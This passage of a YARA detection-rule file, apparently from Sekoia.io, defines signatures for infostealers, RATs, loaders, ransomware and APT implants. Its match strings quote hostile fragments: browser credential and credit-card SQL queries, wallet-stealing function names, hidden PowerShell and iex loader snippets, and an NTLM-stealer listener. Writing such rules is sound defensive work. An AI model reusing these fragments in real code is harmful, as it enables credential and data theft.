		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_turla_kazuar_variant_2023.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "98207fef906c922ff09f72b0dea7103c0fb86c5ec4712a23ecba6840b79b0ad5"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "Started from file '" ascii wide
		$s2 = "Zombifying user's" ascii wide
		$s3 = "Result #{0:X16} already exists in {1}" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and 2 of them
}

rule SEKOIA_Implant_Mac_Rustbucket : FILE
{
	meta:
		description = "Detect the RustBucket malware"
		author = "Sekoia.io"
		id = "fcbb745d-7f56-4c51-9db5-427da22a0c68"
		date = "2023-04-24"
		modified = "2024-12-19"
		reference = "https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/implant_mac_rustbucket.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747"
		logic_hash = "ab7bc706b0d3f0dcd739ffe7f8153ba7377892143d8d53ce1591519ffe4ae84f"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "/Users/hero/"
		$ = "PATHIpv6Ipv4Bodyslotpath"
		$macho_magic = {CF FA ED FE}
		$java_magic = {CA FE BA BE}
	condition:
		($macho_magic at 0 or $java_magic at 0 ) and all of them
}


rule SEKOIA_Generic_Sharpshooter_Payload_2 : FILE
{
	meta:
		description = "Detects payload created by SharpShooter"
		author = "Sekoia.io"
		id = "02bc795f-b8e0-44d4-b475-310359867577"
		date = "2023-02-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_sharpshooter_payload_2.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "c26779cd35d6430da3629df8b310356d663c05e82db0aca0fc974bc3a298c92e"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "var e={},i,b=0,c,x,l=0,a,r="
		$ = "eval(plain);"
		$ = "var plain = rc4("
	condition:
		all of them and filesize < 2MB
}

rule SEKOIA_Apt_Scanbox_Obfuscated_Versions : FILE
{
	meta:
		description = "Detects obfuscated versions of the scanbox framework"
		author = "Sekoia.io"
		id = "2866cead-7f16-4895-80ef-aad6fb66e864"
		date = "2022-09-01"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_scanbox_obfuscated_versions.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "0395d1ac9a593aa8249f6d16c485e431349cecf2f379d2b5bac466541f71968c"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "$_$_$_$__$_____$__$_$_$_$__$"
		$ = "NztCm_NcDkh"
		$ = "____$_$__$__$_______w____$_$__$__$_____i____$_$__$__$_____"
		$ = "391,379,398,381,386"
		$ = "plguinurl"
		$ = "plugin_timeout*1000"
	condition:
		2 of them and filesize < 500KB
}

rule SEKOIA_Loader_Win_Gcleaner : FILE
{
	meta:
		description = "Detect the GCleaner loader using specific strings"
		author = "Sekoia.io"
		id = "0c085da3-ec77-4141-a927-bef1578a6dee"
		date = "2022-10-11"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_win_gcleaner.yar#L1-L22"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "f38aaab2911e4e901780bb6df2c58f02fa80d3e39fb56f60072285d0a929ba23"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "G-Cleaner can clean unneeded files, settings, and Registry entries" ascii
		$str02 = "3.  Click \"Run G-Cleaner\"" ascii
		$str03 = "Garbage_Cleaner" ascii
		$str04 = "GCleaner.Properties" ascii
		$str05 = "SOFTWARE\\GCleaner\\Install" wide
		$str06 = "SOFTWARE\\GCleaner\\Trial" wide
		$str07 = "SOFTWARE\\GCleaner\\License" wide
		$str08 = "G-Cleaner activation" wide
	condition:
		uint16( 0 ) == 0x5A4D and 6 of them
}

rule SEKOIA_Apt_Mustangpanda_Payload : FILE
{
	meta:
		description = "Decryption routine of mustang panda payload"
		author = "Sekoia.io"
		id = "ce7ddf20-e13f-4b5f-8fff-4b1387b29568"
		date = "2022-12-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_mustangpanda_payload.yar#L1-L42"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "734d42aed4574de620773f1f2d08c6b1fc206efd1b576f0f3679edcc0b2ce91d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$chunk_1 = {
        89 74 24 ??
        B9 ?? ?? ?? ??
        8B 44 24 ??
        3D ?? ?? ?? ??
        B8 ?? ?? ?? ??
        0F 4C C1
        E9 ?? ?? ?? ??
        B8 ?? ?? ?? ??
        31 DB
        31 ED
        31 FF
        E9 ?? ?? ?? ??
        8B 44 24 ??
        B9 ?? ?? ?? ??
        3B 44 24 ??
        B8 ?? ?? ?? ??
        0F 42 C1
        E9 ?? ?? ?? ??
        88 5C 24 ??
        89 6C 24 ??
        89 7C 24 ??
        B9 ?? ?? ?? ??
        8B 44 24 ??
        3D ?? ?? ?? ??
        B8 ?? ?? ?? ??
        0F 4C C1
        }
	condition:
		filesize < 8MB and all of them
}

rule SEKOIA_Rat_Win_Millenium : FILE
{
	meta:
		description = "Finds MilleniumRAT samples based on the specific strings"
		author = "Sekoia.io"
		id = "91320924-5c74-457a-8601-29c4e4034761"
		date = "2023-11-16"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rat_win_millenium.yar#L1-L30"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "bcf4158b9bfee65cd9bd74163ac108ea1de8ec0e9ad066e77bec788ae6fb7283"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "Millenium RAT, version:" wide
		$str02 = "Coded by @shinyenigma" wide
		$str03 = "*gift*<NEW TOKEN>*<NEW CHAT ID>*<message> - gift this bot to another user, his telegram bot has to be started" wide
		$str04 = "*historyForce - grab more browser history by killing browser processes, use carefully" wide
		$str05 = "*download - victim`s PC downloads a file attached to this message, if it is a picture it should also be attached as a file" wide
		$str06 = "No keylogs recorded!" wide
		$str07 = "Successfully added RAT to startup" wide
		$str08 = "You`ve gifted gifted a bot:" wide
		$str09 = "Incorrect agrument, please enter 0/90/180/270" wide
		$str10 = "SELECT action_url, username_value, password_value FROM logins" wide
		$str11 = "Yandex\\YandexBrowser\\User Data\\Default" wide
		$str12 = "Millenium-rat-CSharp (main project)" ascii
		$str13 = "get_BatteryLifePercent" ascii
		$str14 = "get_ExpirationMonth" ascii
		$str15 = "sqlite3_extension_init " ascii
	condition:
		uint16( 0 ) == 0x5A4D and 10 of ( $str* )
}

rule SEKOIA_Apt_Tortoiseshell_Imaploader : FILE
{
	meta:
		description = "Detects IMAPLoader malware"
		author = "Sekoia.io"
		id = "e1706b59-5c94-4fbf-8560-0022ca631d1d"
		date = "2023-11-13"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_tortoiseshell_imaploader.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "93f57940ed69145064e5153cc9b099fb9456116cae808acfb4e6f7f14003dde7"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "yandex.com"
		$s2 = "saveImapMessage.pdb"
		$s3 = "downloader"
		$s4 = "MailServer.Auth"
	condition:
		filesize < 1MB and 3 of them
}


rule SEKOIA_Infostealer_Win_Edgeguard : FILE
{
	meta:
		description = "Finds EdgeGuard Stealer samples based on specific strings"
		author = "Sekoia.io"
		id = "bbdb362f-d235-48f8-8fa5-d340d4e3e3f0"
		date = "2023-08-22"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_edgeguard.yar#L1-L32"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "11396aea2e166456ec8311f95a8037aac41f69caf3158f8c19cb0c38327842d6"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "main.downloadnecessary" ascii
		$str02 = "main.extractchromepasswords" ascii
		$str03 = "main.extracttasksch" ascii
		$str04 = "main.BrowserDownloadsViewExtract" ascii
		$str05 = "main.stealmetamask" ascii
		$str06 = "main.stealexoduswallet" ascii
		$str07 = "main.moveatomic" ascii
		$str08 = "main.movefirefoxcookies" ascii
		$str09 = "main.movepasswords" ascii
		$str10 = "main.FinallyZIPIPFolder" ascii
		$str11 = "edgeguard.business" ascii
		$str12 = "/License.XenArmor" ascii
		$str13 = "/TaskSchedulerView.exe" ascii
		$str14 = "/BrowsingHistoryView.exe" ascii
		$str15 = "/outlookfiles/starter.exe" ascii
		$str16 = "/outlookfiles/External.zip" ascii
		$str17 = "/outlookfiles/XenManager.dll" ascii
		$str18 = "/outlookfiles/EmailPasswordRecoveryPro.exe" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 10 of ( $str* )
}

rule SEKOIA_Infostealer_Win_Lumma_Strings_Aug23 : FILE
{
	meta:
		description = "Finds Lumma samples based on the specific strings"
		author = "Sekoia.io"
		id = "728f7825-a463-4b19-b2d3-3460e4c06dc9"
		date = "2023-09-14"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_lumma_strings_aug23.yar#L1-L23"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "704a31b0f7c30602305768f13bf6108ebaf08c62451833731d2f2f020efce386"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "lid=%s&j=%s&ver" ascii
		$str02 = "%s (%d.%d.%d)" ascii
		$str03 = "- Screen Resoluton:" ascii
		$str04 = "- Physical Installed Memory:" ascii
		$str05 = "Content-Type: attachment/x-object" ascii
		$str06 = "Content-Type: application/x-www-form-urlencoded" ascii
		$str07 = "Content-Type: multipart/form-data; boundary=%s" wide
		$str08 = "SysmonDrv" wide
		$str09 = "TeslaBrowser/5.5" wide
	condition:
		uint16( 0 ) == 0x5A4D and 6 of them
}


rule SEKOIA_Apt_Kimsuky_Sharptongue_Vbslauncher_Strings : FILE
{
	meta:
		description = "Detects VBS Launchers used by SharpTongue"
		author = "Sekoia.io"
		id = "82bd648c-2961-4945-950e-8fb1e4650338"
		date = "2022-07-29"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_kimsuky_sharptongue_vbslauncher_strings.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "9e1383a71b4ab5ca1de5016061f0e9c83e6f3e1a41eef25dae15cd1aab8b581f"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "powershell" ascii wide
		$ = "On Error Resume Next" ascii wide
		$ = "oShell.run(tmp0,0" ascii wide
	condition:
		all of them and filesize < 10KB
}

rule SEKOIA_Tool_Win_Snap2Html : FILE
{
	meta:
		description = "Finds Snap2HTML samples based on specific strings. Legitimate tool used by ransomware affiliates to perform discovery"
		author = "Sekoia.io"
		id = "9865daac-f23b-417e-813e-cbed03f45161"
		date = "2024-02-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/tool_win_snap2html.yar#L1-L26"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "8805a80193ba1323dffd68456833f27cc93f2182660a5047dbe69e8ed65ac184"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "Snap2HTML.exe" fullword wide ascii
		$str02 = "Snap2HTML.Properties" ascii
		$str03 = "set_txtRoot" ascii
		$str04 = "set_chkHidden" ascii
		$str05 = "set_chkSystem" ascii
		$str06 = "set_chkLinkFiles" ascii
		$str07 = "set_txtLinkRoot" ascii
		$str08 = "set_chkOpenOutput" ascii
		$str09 = "set_txtTitle" ascii
		$str10 = "get_CancellationPending" ascii
		$str11 = "set_RootFolder" ascii
		$str12 = "add_SettingsLoaded" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 7 of them
}


rule SEKOIA_Rat_Lin_Gobrat_2023 : FILE
{
	meta:
		description = "This rule detect samples that are downloaded on the GobRAT C2 URL path /a, /b and /c."
		author = "Sekoia.io"
		id = "ca36a586-f87f-445f-95dc-52d447c1d2a2"
		date = "2023-06-09"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rat_lin_gobrat_2023.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "b9831cefded9e48ef169aa56c18628a9871760ae613f75b232019b4798944e16"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
		hash1 = "36cb17d9d118bd9692106c8aafab2462aacf1cdad3a6afb0e4f1de898a7db0e1"
		hash2 = "28a714f7cec4445dbd507b85016c8e96ed5e378bcabe2e422c499975122b3f03"
		hash3 = "1e80a084ab89da2375bc3cc2f5a37975edff709ef29a3fa2b4df4ccb6d5afe10"
	strings:
		$s1 = "Z:/Go/awesomeProject3/main.go" wide ascii
	condition:
		uint32( 0 ) == 0x464c457f and filesize < 4000KB and $s1
}

rule SEKOIA_Backdoor_Lin_Bpfdoor : FILE
{
	meta:
		description = "Detect the BPFDoor backdoor used by the Chinese TA Red Menshen"
		author = "Sekoia.io"
		id = "1776ff6f-6fbb-4a81-bcad-c43b5117c67c"
		date = "2022-05-05"
		modified = "2024-12-19"
		reference = "https://github.com/Neo23x0/signature-base/blob/master/yara/mal_lnx_implant_may22.yar"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/backdoor_lin_bpfdoor.yar#L1-L22"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "c917bd12731d761645adea72bc68c50927a0c2b0c31b2109f7065a992d338329"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$op1 = { e8 ?? ff ff ff 80 45 ee 01 0f b6 45 ee 3b 45 d4 7c 04 c6 45 ee 00 80 45 ff 01 80 7d ff 00 }
		$op2 = { 55 48 89 e5 48 83 ec 30 89 7d ec 48 89 75 e0 89 55 dc 83 7d dc 00 75 0? }
		$op3 = { e8 a? fe ff ff 0f b6 45 f6 48 03 45 e8 0f b6 10 0f b6 45 f7 48 03 45 e8 0f b6 00 8d 04 02 }
		$op4 = { c6 80 01 01 00 00 00 48 8b 45 c8 0f b6 90 01 01 00 00 48 8b 45 c8 88 90 00 01 00 00 c6 45 ef 00 0f b6 45 ef 88 45 ee }
	condition:
		uint32( 0 ) == 0x464c457f and filesize > 10KB and filesize < 50KB and ( all of ( $op* ) )
}

rule SEKOIA_Loader_Amadey_Standalone_May23 : FILE
{
	meta:
		description = "Finds standalone samples of Amadey based on characteristic strings"
		author = "Sekoia.io"
		id = "5013586c-5ac3-4c1a-a82e-edce4889eedc"
		date = "2023-05-17"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_amadey_standalone_may23.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "40d2d7a52066ca4e1a65c82ebfa882a77616a1c68f1d315946ab14467787d468"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "\\Amadey\\Release\\Amadey.pdb" ascii
		$hex01 = { 6E 74 64 6C 6C 2E 64 6C  6C 00 00 00 72 75 6E 61 73 }
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule SEKOIA_Apt_Implant_Xdealer_Vbs_Launcher_Strings : FILE
{
	meta:
		description = "Detects XDealer VBS Launcher"
		author = "Sekoia.io"
		id = "ebfc8a33-70dc-44d5-bc4a-07afc56f8254"
		date = "2024-03-22"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_implant_xdealer_vbs_launcher_strings.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "e206189fd21ed7b3bf48a51d955df9055b7f7aa502b7fac52b274cc414adea0d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "Dim objws"
		$s2 = "Set objws="
		$s3 = "objws.Run \"\"\"C:\\ProgramData\\"
	condition:
		$s1 at 0 and all of them and filesize < 200
}

rule SEKOIA_Koiloader_Powershell_Reflective_Loading : FILE
{
	meta:
		description = "Powershell script loading service.exe (related to Koi Loader)"
		author = "Sekoia.io"
		id = "9bbe4cea-3e64-4377-bf93-def9fb629734"
		date = "2024-03-20"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/koiloader_powershell_reflective_loading.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "27deec01027a73129c6c8057eff1b48190c89ac18dcd7c390fc177d82a897290"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "[Byte[]]$image" ascii fullword
		$s2 = "function GDT"
		$s3 = "function GPA"
		$s4 = "GDT @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])"
		$s5 = "$marshal::GetDelegateForFunctionPointer($CTAddr, $CTDeleg)"
	condition:
		$s1 at 0 and 4 of them
}

rule SEKOIA_Apt_Apt28_Powershell_Ntlm_Stealer : FILE
{
	meta:
		description = "Detects the NTLM Stealer used by APT28 against UA energy sector"
		author = "Sekoia.io"
		id = "3fb5c472-6b1c-490e-b38f-4d4f1c472f43"
		date = "2023-09-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_apt28_powershell_ntlm_stealer.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "29d039bf7d7018ebbae187ae0f057161c3f9256076324f06167872adc0accfa7"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "'NTLM ' = [Convert]::ToBase64String"
		$ = ".Prefixes.Add('http://localhost:8080/')"
		$ = ".AddHeader('WWW-Authenticate', 'NTLM')"
		$ = "GetValues('Authorization');"
		$ = "[0] -split '\\s+';"
	condition:
		3 of them and filesize < 4000
}


rule SEKOIA_Apt_Badmagic_Startngrok_Pshscript : FILE
{
	meta:
		description = "Detects BadMagic StartNgrok powershell script"
		author = "Sekoia.io"
		id = "94d64482-3033-4531-8530-58546364ac06"
		date = "2023-05-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_badmagic_startngrok_pshscript.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "f15f9dc2c35f3f7cd816aa539c03b857254c3628c9b14eacca1110bb85b1a24c"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "$ExecutablePath http \"\"file:///$Disk"
		$ = "write \"$ExecutablePath not found"
		$ = "$ng_proxy_string ="
		$ = "$ng_auth_token ="
		$ = "$env:ALLUSERSPROFILE\\$NGrokFolderName"
	condition:
		all of them and filesize < 1KB
}

rule SEKOIA_Infostealer_Win_Spacestealer : FILE
{
	meta:
		description = "Detects SpaceStealer based on specific strings"
		author = "Sekoia.io"
		id = "aceae3b3-1f5a-48b4-84cb-d0ba68d26df5"
		date = "2022-11-29"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_spacestealer.yar#L1-L31"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "94edfd0606816ff01d1345357a852cab4321d8881921e51ba96d8d2d4cb893b5"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "spacestealerxD" ascii
		$str02 = "\\spacex" ascii
		$str03 = "@~$~@spacex-" ascii
		$str04 = "StealerClient" ascii
		$str05 = "kill-process-by-name" ascii
		$str06 = "\\BetterDiscord\\data\\betterdiscord.asar" ascii
		$str07 = "api/webhooks" ascii
		$str08 = "discordPath" ascii
		$str09 = "SELECT host_key, name, encrypted_value FROM cookies" ascii
		$str10 = "SELECT origin_url, username_value, password_value FROM logins" ascii
		$str11 = "SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards" ascii
		$str12 = "Cookies don't found." ascii
		$str13 = "/api/cookies?auth=" ascii
		$str14 = "/api/passwords?auth=" ascii
		$str15 = "/api/autofill?auth=" ascii
		$str16 = "/api/creditcards?auth=" ascii
		$str17 = "\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\Network\\" ascii
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 10MB and 13 of them
}


rule SEKOIA_Infostealer_Win_Xfiles : FILE
{
	meta:
		description = "Detect the X-FILES infostealer based on specific strings"
		author = "Sekoia.io"
		id = "3ad3ee19-6be8-484b-943c-05813cdcbd18"
		date = "2022-02-03"
		modified = "2024-12-19"
		reference = "https://twitter.com/3xp0rtblog/status/1375206169384521730"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_xfiles.yar#L1-L50"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "404ee02fa1905f49c3c3ca525cfb3c5ba1d2ec46554239035c1891d21f547a2c"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$xfi0 = "Telegram bot - @XFILESShop_Bot" wide
		$xfi1 = "Telegram support - @XFILES_Seller" wide
		$brw0 = "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies" wide
		$brw1 = "\\Chromium\\User Data\\Default\\Cookies" wide
		$brw2 = "\\Slimjet\\User Data\\Default\\Cookies" wide
		$brw3 = "\\Vivaldi\\User Data\\Default\\Cookies" wide
		$brw4 = "\\Opera Software\\Opera GX Stable\\Cookies" wide
		$brw5 = "\\Opera Software\\Opera Stable\\Cookies" wide
		$crp00 = "Tronlink" wide
		$crp01 = "NiftyWallet" wide
		$crp02 = "MetaMask" wide
		$crp03 = "MathWallet" wide
		$crp04 = "Coinbase" wide
		$crp05 = "BinanceChain" wide
		$crp06 = "GuardaWallet" wide
		$crp07 = "EqualWallet" wide
		$crp08 = "BitAppWallet" wide
		$crp09 = "iWallet" wide
		$crp10 = "Wombat" wide
		$crp11 = "Zcash" wide
		$crp12 = "Armory" wide
		$crp13 = "Bytecoin" wide
		$crp14 = "Jaxx" wide
		$crp15 = "Exodus" wide
		$crp16 = "Ethereum" wide
		$crp17 = "AtomicWallet" wide
		$crp18 = "Guarda" wide
		$crp19 = "Coinomi" wide
		$crp20 = "Litecoin" wide
		$crp21 = "Dash" wide
		$crp22 = "Bitcoin" wide
	condition:
		uint16( 0 ) == 0x5A4D and any of ( $xfi* ) or 5 of ( $brw* ) and 20 of ( $crp* )
}

rule SEKOIA_Ransomware_Win_Scransom : FILE
{
	meta:
		description = "Finds ScRansom samples based on specific strings"
		author = "Sekoia.io"
		id = "ea799295-1332-49c6-9816-035b91fc9b4f"
		date = "2023-08-24"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/ransomware_win_scransom.yar#L1-L31"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "3b8034bc5e0919d6c05dd2f2079c40836f241f2db02c1baf70ecb530db90847f"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "TIMATOMAFULL" wide
		$str02 = ".Encrypted" wide
		$str03 = ".Encrypting" wide
		$str04 = "File Name :" wide
		$str05 = "File size :" wide
		$str06 = "TIMATOMA#" wide
		$str07 = "Already Encrypted" wide
		$str08 = "HOW TO RECOVERY FILES.TXT" wide
		$str09 = "%d folder(s) searched and %d file(s) found - %.3f second(s)" wide
		$str10 = "Search cancelled -" wide
		$str11 = "note.txt" wide
		$str12 = "Cannot sort the list while a search is in progress." wide
		$str13 = "Cancelling search, please wait..." wide
		$str14 = "Error showing process list" wide
		$str15 = "[System Process]" wide
		$str16 = "taskkill /f /im" wide
		$str17 = "kill.bat" wide
	condition:
		uint16( 0 ) == 0x5a4d and 15 of them
}

rule SEKOIA_Guloader_Powershell_1 : FILE
{
	meta:
		description = "Powershell downloading decoy and delivering GuLoader"
		author = "Sekoia.io"
		id = "28c68991-db8b-4f00-b3a3-17286418a4ed"
		date = "2024-02-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/guloader_powershell_1.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "9fd2d0e31f939e7e96444eaa4802c9c33407c5fb77067670d8ce2d3796199961"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "powershell -win hidden"
		$s2 = "=iex($"
		$s3 = ".Replace('"
		$s4 = "$(Get-ChildItem -Include *.lnk -Name));"
	condition:
